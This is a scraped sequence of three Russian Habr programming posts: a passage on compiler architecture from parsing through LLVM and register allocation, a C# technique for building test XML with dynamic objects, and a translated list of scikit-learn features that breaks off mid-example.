Продукционные правила определены: они указывают, какой шаблон терминалов составляет «нетерминал». Терминалы — часть алфавита, например, токен if или 0 и 1 в примере выше — терминалы. Нетерминалы — их противоположность, они находятся в левой части продукционных правил, и их можно считать переменными или «именованными указателями» на группы терминалов и нетерминалов.
Во многих языках имеются спецификации, которые содержат грамматику. Например, для [Go](https://golang.org/ref/spec#Function_declarations), [Rust](https://doc.rust-lang.org/reference/) и [D](https://dlang.org/spec/grammar.html).
Анализаторы с рекурсивным спуском
---------------------------------
Рекурсивный спуск — самый простой из многочисленных подходов к парсингу.
Анализаторы с рекурсивным спуском — нисходящие, основанные на рекурсивных процедурах. Гораздо проще написать парсер, ведь в вашей грамматике нет [левой рекурсии](https://en.wikipedia.org/wiki/Left_recursion). В большинстве «игрушечных» языков этой техники достаточна для парсинга. В GCC используется написанный вручную нисходящий парсер, хотя до того использовался YACC.
Впрочем, с парсингом этих языков могут возникать проблемы. В особенности C, где
```
foo * bar
```
может быть интерпретировано как
```
int foo = 3;
int bar = 4;
foo * bar; // unused expression
```
или как
```
typedef struct {
int b;
} foo;
foo* bar;
bar.b = 3;
```
В реализации Clang также используется анализатор с рекурсивным спуском:
*Поскольку это обычный код для C++, рекурсивный спуск позволяет новичкам легко его понять. Он поддерживает специально созданные правила и другие странные штуки, требуемые C/C++ и помогает с легкостью реализовать диагностику и исправление ошибок.*
Также стоит обратить внимание на другие подходы:
* нисходящий LL, рекурсивный спуск
* восходящий LR, сдвиг, восходящий спуск
Парсер-генераторы
-----------------
Еще один хороший способ. Конечно, есть и минусы — но это можно сказать про любой другой выбор, который делают программисты при создании ПО.
Парсер-генераторы работают очень резво. Использовать их проще, чем написать собственный анализатор и получить качественный результат — хотя они и не очень дружелюбны к пользователю и не всегда выводят сообщения об ошибках. К тому же вам придется учиться использовать парсер-генератор, а при раскрутке компилятора, вероятно, придется раскручивать и парсер-генератор.
Пример генератора парсеров — [ANTLR](https://www.antlr.org/), есть и множество других.
Думаю, что этот инструмент подходит для тех, кому не хочется тратить время на написание фронтенда, и кто предпочел бы написать середину и бэкенд компилятора/интерпретатора и анализировать что бы то ни было.
Применение парсинга
-------------------
Если вы еще не поняли сами. Даже фронтенд компилятора (lex/parse) может применяться и для решения других проблем:
* подсветка синтаксиса
* парсинг HTML/CSS для механизма визуализации
* транспиляторы: TypeScript, CoffeeScript
* компоновщики
* REGEX
* анализ интерфейсных данных
* парсинг URL
* форматирование инструментов типа *gofmt*
* парсинг SQL и многое другое.
Середина
--------
Семантический анализ! Анализ семантики языка — одна из сложнейших задач при создании компилятора.
Нужно удостовериться, что все входные программы работают правильно. В мой язык Krug пока не включены аспекты, связанные с семантическим анализом, а без него программист будет обязан всегда писать верный код. В реальности это невозможно — и мы все время пишем, компилируем, иногда запускаем, исправляем ошибки. Эта спираль бесконечна.
Кроме того, компиляция программ невозможна без анализа правильности семантики на соответствующем этапе компиляции.
Когда-то мне попадалась диаграмма, посвященная процентному соотношению фронтенда, миддленда и бэкенда. Тогда оно выглядело как
```
F: 20% M: 20%: B: 60%
```
Сегодня оно представляет собой что-то вроде
```
F: 5% M: 60% B: 35%
```
Фронтендом занимается, в основном, генератор, а в бесконтекстных языках, не обладающих двойственностью грамматики, их можно выполнить довольно быстро — здесь поможет рекурсивный спуск.
С технологией LLVM большая часть работы по оптимизации может быть загружена во фреймворк, в котором представлен целый ряд готовых оптимизаций.
Следующий шаг — семантический анализ, важнейшая часть фазы компиляции.
Например, в Rust с его моделью управления памятью компилятор выступает как большая мощная машина, которая проводит различные виды статического анализа на вводных формах. Отчасти эта задача состоит в конвертации входных данных в более удобную для анализа форму.
По этой причине семантический анализ играет важную роль в архитектуре компилятора, а изнурительная подготовительная работа вроде оптимизации сгенерированной сборки или считывания входных данных в АСД выполняется за вас.
Семантические проходы
---------------------
В ходе семантического анализа большинство компиляторов проводят большое количество «семантических проходов» по АСД или другой абстрактной форме выражения кода. [В этой статье](https://blogs.msdn.microsoft.com/ericlippert/2010/02/04/how-many-passes/) содержатся детали о большинстве проходов, производящихся в компиляторе .NET C#.
Я не буду рассматривать каждый проход, тем более что они разнятся в зависимости от языка, но ниже описано несколько шагов в Krug.
Объявление высшего уровня
-------------------------
Компилятор пройдется по всем объявлениям «высшего уровня» в модулях и осознает их существование. Глубже в блоки он не пойдет — он просто объявит, какие структуры, функции и т.д. имеются в том или ином модуле.
Разрешение имени/символа
------------------------
Компилятор проходит по всем блокам кода в функциях и т.п. и разрешает их — то есть, находит символы, требующие разрешения. Это распространенный проход, и именно отсюда, как правило, приходит ошибка *No such symbol XYZ* при компиляции кода Go.
Выполнить этот проход может быть очень непросто, особенно если в вашей диаграмме зависимостей есть циклические зависимости. Некоторые языки их не допускают, например, Go выдаст ошибку, если какой-то из ваших пакетов формирует цикл, как и мой язык Krug. Циклические зависимости можно считать побочным эффектом плохой архитектуры.
Циклы можно определять, модифицируя DFS в диаграмме зависимостей, или воспользовавшись [алгоритмом Тарьяна](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%A2%D0%B0%D1%80%D1%8C%D1%8F%D0%BD%D0%B0) (как это сделано в Krug) для определения (множественных) циклов.
Выведение типов (Type Inference)
--------------------------------
Компилятор проходит через все переменные и выводит их типы. Выведение типов в Krug очень слабое, оно просто выводит переменные на основе их значений. Это никоим образом не причудливая система, вроде тех, можно встретить в функциональных языках наподобие Haskell.
Выводить типы можно с помощью процесса «унификации», или «унификации типов». Для более простых систем типов можно использовать очень простую реализацию.
Типы реализованы в Krug так:
```
interface Type {};
struct IntegerType : Type {
int width;
bool signed;
};
struct FloatingType : Type {
int width;
};
struct ArrayType : Type {
Type base_type;
uint64 length;
};
```
Также у вас может быть простое выведение типов, при котором вы будете присваивать тип узлам выражений, например, `IntegerConstantNode` может иметь тип IntegerType(64). А затем у вас может появиться функция `unify(t1, t2)`, которая выберет самый широкий тип, который можно использовать для выведения типа более сложных выражений, скажем, бинарных. Так что это вопрос присвоения переменной слева значений приведённых типов справа.
Когда-то я написал простое [приведение типов](https://github.com/felixangell/type-inference) на Go, которое стало прототипом реализации для Krug.
Проход на изменяемость переменных (Mutability Pass)
---------------------------------------------------
Krug (как и Rust) по умолчанию является неизменяемым языком, то есть переменные остаются неизменными, если не задано иное:
```
let x = 3;
x = 4; // BAD!
mut y = 5;
y = 6; // OK!
```
Компилятор проходит по всем блокам и функциям и проверяет, что их «переменные корректны», то есть мы не меняем то, что не следует, и что все переменные, передаваемые определённым функциям, являются постоянными или изменяемым там, где требуется.
Это делается с помощью символьной информации, которая собрана за предыдущие проходы. Символьная таблица, построенная по результатам семантического прохода, содержит имена токенов и признаки изменяемости переменных. Она может содержать и другие данные, к примеру, в С++ в таблице может храниться информация о том, является символ внешним или статичным.
Символьные таблицы
------------------
Символьная таблица, или «stab», это таблица для поиска символов, которые используются в вашей программе. Для каждой области видимости создаётся по одной таблице, и все они содержат информацию о символах, присутствующих в конкретной области видимости.
К этой информации относятся такие свойства, как имя символа, тип, признак изменяемости, наличие внешней связи, расположение в статичной памяти и прочее.
### Область видимости
Это важная концепция в языках программирования. Конечно, ваш язык не обязан давать возможность создавать вложенные области видимости, всё можно поместить в одно общее пространство имён!
Хотя представление области видимости является интересной задачей для архитектуры компилятора, в большинстве С-подобных языков область видимости ведёт себя (или является) как стековая структура данных (stack data structure).
Обычно мы создаём и уничтожаем области видимости, и обычно они используются для управления именами, то есть позволяют нам скрывать (shadowing) переменные:
```
{ // push scope
let x = 3;
{ // push scope
let x = 4; // OK!
} // pop scope
} // pop scope
```
Это можно представить иначе:
```
struct Scope {
Scope* outer;
SymbolTable symbols;
}
```
Небольшой оффтоп, но рекомендую почитать про [спагетти-стек](https://en.wikipedia.org/wiki/Parent_pointer_tree). Это структура данных, которая используется для хранения областей видимости в АСД-узлах противоположных блоков.
Системы типов
-------------
Многие из последующих разделов можно развить в отдельные статьи, но мне кажется, этот заголовок заслуживает этого больше всего. Сегодня доступно много информации о системах типов, как и разновидностей самих систем, вокруг которых ломается много копий. Я не будут глубоко погружаться в эту тему, лишь оставлю ссылку на [прекрасную статью Стива Клабника](https://blog.steveklabnik.com/posts/2010-07-17-what-to-know-before-debating-type-systems).
Система типов — это то, что обеспечивается и семантически определяется в компиляторе с помощью представлений компилятора и анализа этих представлений.
Владение
--------
Эта концепция используется в программировании всё шире. Принципы семантики владения и перемещения заложены в язык [Rust](https://en.wikipedia.org/wiki/Rust_(programming_language)), и надеюсь, будут появляться и в других языках. В Rust выполняется много разных видов статического анализа, с помощью которого проверяется, удовлетворяют ли входные данные набору правил в отношении памяти: кто и какой памятью владеет, когда память уничтожается и сколько существует ссылок (или заимствований) на эти значения или память.
Красота Rust заключается в том, что всё это выполняется в ходе компиляции, внутри компилятора, так что программисту не приходится заниматься сборкой мусора или подсчётом ссылок. Все эти семантики отнесены к системе типов и могут обеспечиваться ещё до того, как программа будет представлена в виде завершённого бинарного файла.
Я не могу сказать, как всё это устроено под капотом, но всё это является результатом статического анализа и замечательного исследования команды Mozilla и участников проекта [Cyclone](https://en.wikipedia.org/wiki/Cyclone_(programming_language)).
Графы потоков управления (Control Flow Graphs)
----------------------------------------------
Для представления потоков программ мы используем графы потоков управления (CFG), которые содержат все пути, по которым может пойти исполнение программы. Это используется при семантическом анализе для исключения нерабочих участков кода, то есть блоков, функций и даже модулей, которые никогда не будут достигнуты в ходе исполнения программы. Также графы можно применять для выявления циклов, которые не могут прерваться. Или для поиска недоступного кода, например, когда вы вызываете «панику» (call a panic), или возвращаете в цикле, а код снаружи цикла не исполняется. [Анализ потока данных](https://en.wikipedia.org/wiki/Data-flow_analysis) играет важную роль в ходе семантической фазы работы компилятора, так что рекомендую почитать о тех видах анализа, которые вы можете выполнять, как они работают и какие оптимизации могут делать.
Бэкенд
------
*Заключительная часть нашей схемы архитектуры.*
Мы сделали большую часть работы по генерированию исполняемых бинарников. Сделать это можно разными способами, которые мы обсудим ниже.
Не обязательно сильно менять фазу семантического анализа из-за информации, содержащейся в дереве. Возможно, лучше вообще её не менять, чтобы избежать возникновения «спагетти».
Несколько слов о транспиляторах
-------------------------------
Это разновидность компиляторов, которые преобразуют код на одном языке в исходный код на другом. Например, вы можете написать код, который компилируется в исходники на С. На мой взгляд, вещь довольно бессмысленная, если только ваш язык не уступает сильно тому языку, в который он компилируется. Обычно траспиляция имеет смысл для относительно высокоуровневых языков, или для языков с ограниченными возможностями.
Тем не менее, в истории компиляторов очень часто встречается преобразование в код на С. По сути, первый компилятор С++ — Cfront — транспилировал в код на C.
Хорошим примером является JavaScript. В его код транспилирует TypeScript и многие другие языки, чтобы привнести больше возможностей и, что ещё важнее, чувствительную систему типов с разным количеством видов статического анализа для ловли багов и ошибок, прежде чем мы столкнёмся с ними в ходе исполнения.
Это одна из «целей» компилятора, причём чаще всего самая простая, поскольку вам не нужно думать в рамках более низкоуровневых концепций о присвоении переменных, о работе с оптимизацией и так далее, ведь вы просто «падаете на хвост» другому языку. Однако у этого подхода есть очевидный недостаток — большие накладные расходы, к тому же вы обычно ограничены возможностями языка, в который транспилируете свой код.
LLVM
----
Многие современные компиляторы обычно используют в качестве своего бэкенда LLVM: Rust, Swift, C/C++ (clang), D, Haskell.
Это можно считать «простым путём», потому что за вас проделали большую часть работы по поддержке широкого спектра архитектур, и вам доступны оптимизации высочайшего уровня. По сравнению с вышеупомянутой транспиляцией, LLVM предоставляет и большие возможности по управлению. Уж точно больше, чем если бы вы компилировали в С. К примеру, вы можете решать, насколько большими должны быть типы, скажем, 1, 4, 8 или 16-битные. В С это сделать не так просто, иногда невозможно, а для каких-то платформ даже нельзя определить.
Генерирование ассемблер-кода
----------------------------
Генерирование кода под конкретную архитектуру — то есть генерирование машинного кода, — это технически самый популярный путь, который применяется во множестве языков программирования.
Go — это пример современного языка, который не пользуется преимуществами фреймворка LLVM (на момент написания этой статьи). Go генерирует код для нескольких платформ, в том числе Windows, Linux и MacOS. Забавно, что в прототипе Krug раньше тоже генерировался ассемблер-код.
У этого подхода есть много достоинств и недостатков. Однако сегодня, когда доступны технологии вроде LLVM, уже неразумно самостоятельно генерировать ассемблер, потому что маловероятно, что игрушечный компилятор с собственным бэкендом превзойдёт LLVM по уровню оптимизации для одной платформы, не говоря уже о нескольких.
Тем не менее, значительное преимущество самостоятельного генерирования ассемблера заключается в том, что ваш компилятор наверняка окажется гораздо быстрее, чем если бы вы использовали фреймворк наподобие LLVM, который сначала должен собрать ваш IR, оптимизировать и так далее, и потом, наконец, сможет выдать ассемблер (или что вы там выберете).
Но попытаться всё равно приятно. И к тому же будет интересно, если вы захотите узнать больше о программировании на ассемблере, или о том, как языки программирования работают на нижних уровнях. Проще всего открыть АСД или сгенерированный IR (если у вас он есть) и «выдать» инструкции ассемблера в файл с помощью fprintf или другой утилиты. Так работает [8cc](https://github.com/rui314/8cc).
Генерирование байткода
----------------------
Также вы можете генерировать байткод для виртуальной машины определённого вида или интерпретатора байткода. Яркий пример — Java: по сути, [JVM](https://en.wikipedia.org/wiki/Java_virtual_machine) породила целое семейство генерирующих для неё байткод языков, например, Kotlin.
У генерирования байткода много преимуществ, и для Java главным была портируемость. Если вы можете где угодно запускать свою виртуальную машину, то любой выполняемый на ней код тоже будет работать где угодно. К тому же гораздо проще запускать на машинах абстрактный набор байткодовых инструкций, чем генерировать код по стопицот компьютерных архитектур.
Насколько я знаю, JVM с помощью JIT превращает часто используемый код в нативные функции, а также применяет другие JIT-ухищрения, чтобы выжать ещё больше производительности.
Оптимизации
-----------
Они являются неотъемлемой частью компилятора, никому не нужен медленно работающий код! Обычно оптимизации составляют большую часть бэкенда, и разработчики прикладывают много усилий, чтобы повысить производительность. Если вы когда-нибудь скомпилируете код на С и запустите его со всеми оптимизациями, ты вы удивитесь, какое безумие получится. [Godbolt](https://godbolt.org/) — прекрасный инструмент, позволяющий понять, как современные компиляторы генерируют код и какие инструкции к какому исходному коду относятся. Также вы сможете задать нужный уровень оптимизаций, цели, версии компиляторов и так далее.
Если вы когда либо писали компилятор, то можете начать с создания простой программы на С, выключить все оптимизации и символы отладки (strip the debug symbols), и посмотрите, что сгенерирует GCC. Можете потом использовать как памятку, если когда-нибудь возникнут затруднения.
При настройке оптимизаций можно находить компромисс между точностью и скоростью работы программы. Однако нащупать верный баланс не так просто. Некоторые оптимизации очень специфичны, и в некоторых случаях могут приводить к ошибочному результату. По очевидным причинам их не включают в production-компиляторы.
В [комментариях](https://news.ycombinator.com/item?id=19756087) к этой статье на другом ресурсе пользователь rwmj заметил, что достаточно всего 8 оптимизирующих проходов, чтобы получить 80% от максимальной производительности вашего компилятора. И все эти оптимизации были описаны в 1971-м! Речь идёт о [публикации](http://venge.net/graydon/talks/CompilerTalk-2019.pdf) Грейдона Хоара, вдохновителя Rust.
IR
--
Промежуточное представление (intermediate representation, IR) не обязательно, но полезно. Вы можете генерировать код из АСД, хотя это может быть довольно утомительно и неаккуратно, а результат сложно будет оптимизировать.
Можно считать IR более высокоуровневым представлением генерируемого кода. Оно должно очень точно отражать то, что представляет, и содержать всю информацию, необходимую для генерирования кода.
Есть конкретные виды IR, или «формы», которые вы можете создать с помощью IR для упрощения оптимизаций. Например, SSA — Static Single Assignment, единственное статическое присваивание, при котором каждая переменная присваивается лишь один раз.
В Go перед генерированием кода строится IR на основе SSA. IR в LLVM основан на SSA, чтобы обеспечить его оптимизации.
Изначально SSA предоставляет несколько оптимизаций, к примеру, подстановка констант (constant propagation), исключение нерабочего кода и (очень важное) распределение регистров.
Распределение регистров
-----------------------
Это не требование для генерирования кода, а оптимизация. Одна абстракция, которую мы считаем данностью, заключается в том, что мы можем определять столько переменных, сколько нужно нашим программам. Однако в ассемблере нам доступно конечное количество регистров (обычно от 16 до 32), которые нужно держать в голове, или мы можем воспользоваться стеком (spill to the stack).
Распределение регистров — это попытка выбрать для конкретной переменной конкретный регистр в определённый момент времени (без перезаписывания других значений). Это гораздо эффективнее использования стека, хотя может повлечь дополнительные расходы, да и компьютер не всегда может вычислить идеальную схему распределения.
Есть несколько алгоритмов распределения регистров:
* Раскрашивание графов (graph colouring) — вычислительно сложен (NP-полная задача). Требуется представлять код в виде графа, чтобы вычислять диапазон жизни (liveness ranges) переменных.
* Линейное сканирование — просматривает переменные и определяет их диапазоны жизни.
О чём нужно помнить
-------------------
О компиляторах написано очень много. Столько, что не поместится ни в одну статью. Я хочу напомнить, или хотя бы упомянуть несколько важных моментов, о которых нужно помнить в ходе ваших будущих проектов.
Искажение имён ([Name Mangling](https://en.wikipedia.org/wiki/Name_mangling))
-----------------------------------------------------------------------------
Если вы генерируете ассемблер-код, в котором на самом деле нет никаких областей видимости или пространств имён, то у вас часто будут возникать конфликты символов. Особенно если ваш язык поддерживает переопределение функций или классов, и тому подобное.
```
fn main() int {
let x = 0;
{
let x = 0;
{
let x = 0;
}
}
return 0;
}
```
Например, в этом коде (если переменные каким-либо образом не оптимизированы :) ) вам придётся искажать имена этих символов, чтобы в ассемблере они не конфликтовали. Также искажение обычно используется для обозначения типа информации, или оно может содержать информацию о пространстве имён.
Отладочная информация
---------------------
Инструменты вроде LLDB обычно используют стандарты наподобие [DWARF](https://en.wikipedia.org/wiki/DWARF). Одно из замечательных свойств LLVM заключается в том, что благодаря DWARF вы получается относительно простую интеграцию с существующим отладочным GNU-инструментарием. Возможно, вашему языку понадобится отладочный инструмент, и всегда легче использовать готовый, чем писать свой.
Интерфейс внешних функций (Foreign Function Interface, [FFI](https://en.wikipedia.org/wiki/Libffi))
---------------------------------------------------------------------------------------------------
Обычно от libc никуда не деться, вам нужно почитать об этой библиотеке и подумать, как встроить её в свой язык. Как вы подключитесь к коду на С, или как вы откроете свой код для С?
Линкер
------
Написание линкера — отдельная задача. Когда ваш компилятор генерирует код, то он генерирует машинные инструкции (в файл .s/.asm)? Он пишет код напрямую в файл объекта? Например, в языке программирования [Jai](https://www.youtube.com/watch?v=TH9VCN6UkyQ) весь код предположительно пишется в один файл объекта. Существуют разные варианты, для которых характерны свои компромиссы.
Компилятор как сервис (CaaS)
----------------------------
Здесь все рассмотренные выше фазы компилятора распределены по API-маршрутам. Это означает, что текстовый редактор может обращаться к Krug-серверу, чтобы тот токенизировал файл и вернул в ответ токены. Кроме того, все маршруты статического анализа открыты, так что применять инструментарий становится проще.
Конечно, у этого подхода есть недостатки, например, задержка при отправке и получении файлов. К тому же многие аспекты архитектуры компилятора нужно переосмыслить, чтобы работать в контексте API-маршрутов.
Мало какие production-компиляторы используются подход CaaS. На память приходит Microsofts Roslyn, хотя я мало знаю об этом компиляторе, так что изучите его самостоятельно. И я могу ошибаться, но, похоже, во многих компиляторах реализован этот подход, но их авторы пишут API-машруты, которые подключаются к существующим компиляторам, например, в Rust есть [RLS](https://github.com/rust-lang/rls).
В моём языке Krug — который ещё активно разрабатывается и работает неустойчиво — в компиляторе Caasper используется CaaS-архитектура.
Caasper выполняется локально на вашей машине (или, если захотите, на сервере), а затем фронтенды или клиенты например, krug, взаимодействуют с этим сервисом. Плюс в том, что у вас может быть много реализаций фронтенда, а единственный фронтенд можно загружать (bootstrap) в самом языке, прежде чем переписывать весь компилятор.
Фронтенд для Krug реализован на JavaScript, хотя будут и альтернативные реализации на Go\*, а также, надеюсь, на самом Krug. JavaScript был выбран за его доступность, его можно скачать с очень популярными менеджерами пакетов yarn/npm.
*\* Изначально фронтенд был написан на Go и оказался (ожидаемо) значительно быстрее, чем вариант на JS.*
Исходный код компилятора Caasper лежит [здесь](https://github.com/krug-lang/caasper/). В моём [личном](http://github.com/felixangell/krug/) Github лежит прототип Krug, он написан на D и компилируется в LLVM. Также можете посмотреть демо на моём YouTube-[канале](https://www.youtube.com/watch?v=DT6l4T7yzKs).
Руководство по Krug (промежуточное) лежит [здесь](https://github.com/krug-lang/caasper/blob/master/docs/tutorial.md).
Полезные ссылки
---------------
* [Jack Crenshaw](https://compilers.iecc.com/crenshaw/) — моя личная дверь в мир реализации языков программирования.
* [Crafting Interpreters](https://craftinginterpreters.com/)
* [Введение в LLVM (с Go)](https://blog.felixangell.com/an-introduction-to-llvm-in-go) — я!
* [PL/0](https://en.wikipedia.org/wiki/PL/0)
* The Dragon Book — классическая книга, в которой есть всё.
* [8cc](https://github.com/rui314/8cc) | https://habr.com/ru/post/451894/ | null | ru | null |
# Использование dynamic для быстрого создания Xml
Не так давно разрабатывал функционал, формирующий по некоторому алгоритму разнообразный xml.
Логично, что при написании первого же теста возник традиционный вопрос ленивого программиста: как сэкономить себе силы, а читающим тесты нервы и быстро и наглядно представить, что же я хочу получить?
Поэтому придумал такой вот способ:
#### Пример
```
dynamic rootTag = new XmlBuilder("Root", _nmsps);
dynamic modelTag = new XmlBuilder("Model", _nmsps);
dynamic elementTag = new XmlBuilder("ElementRef", _nmsps);
dynamic attrTag = new XmlBuilder("ElementAttribute", _nmsps);
XDocument doc =
rootTag(id: Guid.Empty,
model: modelTag(id: model.ObjectId, name: model.Name,
e1: elementTag(id: er.ObjectId, name: elem1.Name,
ea1: attrTag(id: attr1.ObjectId, name: attr1.Name),
ea2: attrTag(id: attr2.ObjectId, name: attr2.Name)),
e2: elementTag(id: er2.ObjectId, name: elem2.Name)));
```
XmlBuilder — самописный класс, наследующийся от DynamicObject.
Для создания документа он вызывается как метод и преобразует аргументы либо в атрибуты на основании имени параметра — если это аргумент любого типа, кроме XmlBuilder — либо в дочерние элементы (тут имя параметра не важно) — если это XmlBuilder.
При этом каждый XmlBuilder представляет некоторый тэг в результирующем документе.
В тесте сравниваем то, что надо с тем, что получилось, используя несложный компаратор, в итоге этот тест выглядит как-то так:
```
//формируем входные данные для теста
//...
//формируем документ, которому должен соответствовать результат
dynamic rootTag = new XmlBuilder("Root", _nmsps);
dynamic modelTag = new XmlBuilder("Model", _nmsps);
dynamic elementTag = new XmlBuilder("ElementRef", _nmsps);
dynamic attrTag = new XmlBuilder("ElementAttribute", _nmsps);
XDocument targetDocument =
rootTag(id: Guid.Empty,
model: modelTag(id: model.ObjectId, name: model.Name,
e1: elementTag(id: er.ObjectId, name: elem1.Name,
ea1: attrTag(id: attr1.ObjectId, name: attr1.Name),
ea2: attrTag(id: attr2.ObjectId, name: attr2.Name)),
e2: elementTag(id: er2.ObjectId, name: elem2.Name)));
//выполняем
var resultDocument = TestableMethod();
//проверяем
var _comparer = new XDocComparer();
Assert.IsTrue(_comparer.Equals(targetDocument, resultDocument));
```
Для простоты пришлось пожертововать ненужными для меня возможностями (декларациями, например).
Ну и компаратор, в силу того, что он есть IEqualityComparer, не показывает что именно не совпадает, а только конечный результат.
Тем не менее, реализация XmlBuilder [тут](http://pastebin.com/MvTurW6e), а реализация XDocComparer — [тут](http://pastebin.com/mHXbNMPW), прошу пользоваться, если кому-то это может пригодиться. | https://habr.com/ru/post/175051/ | null | ru | null |
# 10 вещей, которые вы могли не знать о scikit-learn
В этой переведенной статье ее автор, Rebecca Vickery, делится интересными функциями scikit-learn. [Оригинал](https://towardsdatascience.com/10-things-you-didnt-know-about-scikit-learn-cccc94c50e4f) опубликован в блоге towardsdatascience.com.
Фото с сайта [Unsplash](https://unsplash.com/). Автор: [Sasha • Stories](https://unsplash.com/@sanfrancisco?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)
Scikit-learn является одной из наиболее широко используемых библиотек Python для машинного обучения. Ее простой стандартный интерфейс позволяет производить препроцессинг данных, а также заниматься обучением, оптимизацией и оценкой модели.
Этот проект, разработанный [Дэвидом Курнапо (David Cournapeau)](https://en.wikipedia.org/wiki/David_Cournapeau), появился на свет в рамках программы Google Summer of Code и был выпущен в 2010 году. С момента своего создания библиотека превратилась в инфраструктуру с широкими возможностями для создания моделей машинного обучения. Новые функции позволяют решать еще больше задач и повышают удобство использования. В этой статье я расскажу о десяти самых интересных функциях, о которых вы могли не знать.
1. Встроенные датасеты
----------------------
В API библиотеки scikit-learn можно найти встроенные датасеты, содержащие [как сгенерированные, так и реально существующие данные](https://scikit-learn.org/stable/datasets/index.html). Ими можно воспользоваться, набрав всего одну строку кода. Такие данные крайне полезны, если вы только учитесь или просто хотите что-то быстро протестировать.
Также с помощью [специального инструмента](https://scikit-learn.org/stable/datasets/index.html#generated-datasets) вы сможете сами сгенерировать синтетические данные для задач регрессии `make_regression()`, кластеризации `make_blobs()` и классификации `make_classification()`.
Каждый метод позволяет получить данные, уже разбитые на Х (признаки) и Y (целевая переменная), чтобы их можно было использовать непосредственно для обучения модели.
```
# Toy regression data set loading
from sklearn.datasets import load_boston
X,y = load_boston(return_X_y = True)
# Synthetic regresion data set loading
from sklearn.datasets import make_regression
X,y = make_regression(n_samples=10000, noise=100, random_state=0)
```
2. Доступ к сторонним публичным датасетам
-----------------------------------------
Если вы хотите получить доступ к разнообразным общедоступным датасетам прямо через scikit-learn, обратите внимание на удобную функцию, которая позволяет импортировать данные напрямую с сайта [openml.org](https://www.openml.org/). На этом сайте хранится более 21 000 различных датасетов, которые можно использовать в проектах машинного обучения.
```
from sklearn.datasets import fetch_openml
X,y = fetch_openml("wine", version=1, as_frame=True, return_X_y=True)
```
3. Готовые классификаторы для обучения baseline моделей
-------------------------------------------------------
При создании модели машинного обучения для какого-либо проекта разумно сначала создать baseline модель. Она представляет собой простейшую (dummy) модель, которая всегда предсказывает наиболее часто встречающийся класс. Так вы получите контрольные данные для сравнительной оценки построенной вами более сложной модели. К тому же вы сможете быть уверены в качестве ее работы, например, в том, что она выдает не просто набор случайно подобранных данных.
В библиотеке scikit-learn есть `[DummyClassifier()](https://scikit-learn.org/stable/modules/generated/sklearn.dummy.DummyClassifier.html)` для задач классификации и `DummyRegressor()` для работы с регрессией.
```
from sklearn.dummy import DummyClassifier
# Fit the model on the wine dataset and return the model score
dummy_clf = DummyClassifier(strategy="most_frequent", random_state=0)
dummy_clf.fit(X, y)
dummy_clf.score(X, y)
```
4. Собственный API для визуализации
-----------------------------------
В библиотеке scikit-learn есть встроенный [API для визуализации](https://scikit-learn.org/stable/developers/plotting.html), который позволяет визуализировать работу модели, не импортируя какие-либо другие библиотеки. В нем представлены следующие опции: графики зависимостей, матрица ошибок, кривые ROC и Precision-Recall.
```
import matplotlib.pyplot as plt
from sklearn import metrics, model_selection
from sklearn.ensemble import RandomForestClassifier
from sklearn.datasets import load_breast_cancer
X,y = load_breast_cancer(return_X_y = True)
X_train, X_test, y_train, y_test = model_selection.train_test_split(X, y, random_state=0)
clf = RandomForestClassifier(random_state=0)
clf.fit(X_train, y_train)
metrics.plot_roc_curve(clf, X_test, y_test)
plt.show()
```
*Иллюстрация автора*
5. Встроенные методы отбора признаков
-------------------------------------
Один из способов улучшить качество модели — это использовать в обучении только самые полезные признаки или удалять малоинформативные. Этот процесс называется отбором признаков.
В scikit-learn есть ряд методов для проведения [отбора признаков](https://scikit-learn.org/stable/modules/classes.html#module-sklearn.feature_selection), один из них — `[SelectPercentile()](https://scikit-learn.org/stable/modules/generated/sklearn.feature_selection.SelectPercentile.html#sklearn.feature_selection.SelectPercentile)`. Этот метод отбирает Х-процентиль наиболее информативных признаков на основании указанного статистического метода оценки.
```
from sklearn import model_selection
from sklearn.ensemble import RandomForestClassifier
from sklearn.datasets import load_wine
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import StandardScaler
from sklearn.feature_selection import SelectPercentile, chi2
X,y = load_wine(return_X_y = True)
X_trasformed = SelectPercentile(chi2, percentile=60).fit_transform(X, y)
```
6. Пайплайны для объединения этапов в процессе машинного обучения
-----------------------------------------------------------------
Помимо возможности использовать огромный список алгоритмов для машинного обучения, scikit-learn также предоставляет ряд функций для препроцессинга и преобразования данных. Чтобы обеспечить воспроизводимость и доступность в процессе машинного обучения, в scikit-learn были созданы [пайплайны](https://scikit-learn.org/stable/modules/generated/sklearn.pipeline.Pipeline.html), которые позволяют объединять различные шаги препроцессинга и этап обучения модели.
В пайплайне хранятся все этапы рабочего процесса в виде единого объекта, который можно вызвать методами fit и predict. Когда вы запускаете метод fit на объекте пайплайна, автоматически выполняются шаги препроцессинга и обучения модели.
```
from sklearn import model_selection
from sklearn.ensemble import RandomForestClassifier
from sklearn.datasets import load_breast_cancer
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import StandardScaler
X,y = load_breast_cancer(return_X_y = True)
X_train, X_test, y_train, y_test = model_selection.train_test_split(X, y, random_state=0)
# Chain together scaling the variables with the model
pipe = Pipeline([('scaler', StandardScaler()), ('rf', RandomForestClassifier())])
pipe.fit(X_train, y_train)
pipe.score(X_test, y_test)
```
7. ColumnTransformer, чтобы варьировать методы препроцессинга для различных признаков
-------------------------------------------------------------------------------------
Многие датасеты содержат разные типы признаков, для препроцессинга которых потребуется несколько различных этапов. Например, вы можете столкнуться с сочетанием категориальных и числовых данных, и, возможно, захотите масштабировать колонки с числовыми данными и преобразовать категориальные признаки в числовые с помощью one-hot encoding.
Пайплайн scikit-learn снабжен функцией [ColumnTransformer](https://scikit-learn.org/stable/modules/generated/sklearn.compose.ColumnTransformer.html#sklearn.compose.ColumnTransformer), которая позволяет без труда обозначить наиболее подходящий способ препроцессинга для конкретных колонок через индексацию или путем указания наименования колонок.
```
from sklearn import model_selection
from sklearn.linear_model import LinearRegression
from sklearn.datasets import fetch_openml
from sklearn.compose import ColumnTransformer
from sklearn.pipeline import Pipeline
from sklearn.impute import SimpleImputer
from sklearn.preprocessing import StandardScaler, OneHotEncoder
# Load auto93 data set which contains both categorical and numeric features
X,y = fetch_openml("auto93", version=1, as_frame=True, return_X_y=True)
# Create lists of numeric and categorical features
numeric_features = X.select_dtypes(include=['int64', 'float64']).columns
categorical_features = X.select_dtypes(include=['object']).columns
X_train, X_test, y_train, y_test = model_selection.train_test_split(X, y, random_state=0)
